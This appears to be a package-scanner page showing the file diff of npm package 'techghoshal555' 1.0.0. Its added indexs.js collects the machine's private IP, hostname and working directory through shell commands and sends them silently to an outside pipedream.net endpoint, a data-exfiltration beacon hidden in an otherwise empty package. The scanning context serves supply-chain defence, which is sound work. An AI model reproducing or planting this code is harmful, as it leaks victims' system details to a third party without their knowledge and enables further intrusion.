techghoshal555 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +9 -0
- package/indexs.js +29 -0
- package/package.json +14 -0
package/README.md
ADDED
package/indexs.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
const execSync = require('child_process').execSync;
|
2
|
+
|
3
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
4
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
5
|
+
const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
6
|
+
|
7
|
+
const https = require("https")
|
8
|
+
|
9
|
+
const data = JSON.stringify({
|
10
|
+
"private IP": priv_ip,
|
11
|
+
"hostname": host,
|
12
|
+
"current dir": current_dir
|
13
|
+
|
14
|
+
})
|
15
|
+
|
16
|
+
const options = {
|
17
|
+
hostname: "eo68t6hwethv4lo.m.pipedream.net",
|
18
|
+
port: 443,
|
19
|
+
path: "/",
|
20
|
+
method: "POST",
|
21
|
+
headers: {
|
22
|
+
"Content-Type": "application/json",
|
23
|
+
"Content-Length": data.length,
|
24
|
+
},
|
25
|
+
}
|
26
|
+
|
27
|
+
const req = https.request(options)
|
28
|
+
req.write(data)
|
29
|
+
req.end()
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "techghoshal555",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"require": "^2.4.20"
|
13
|
+
}
|
14
|
+
}
|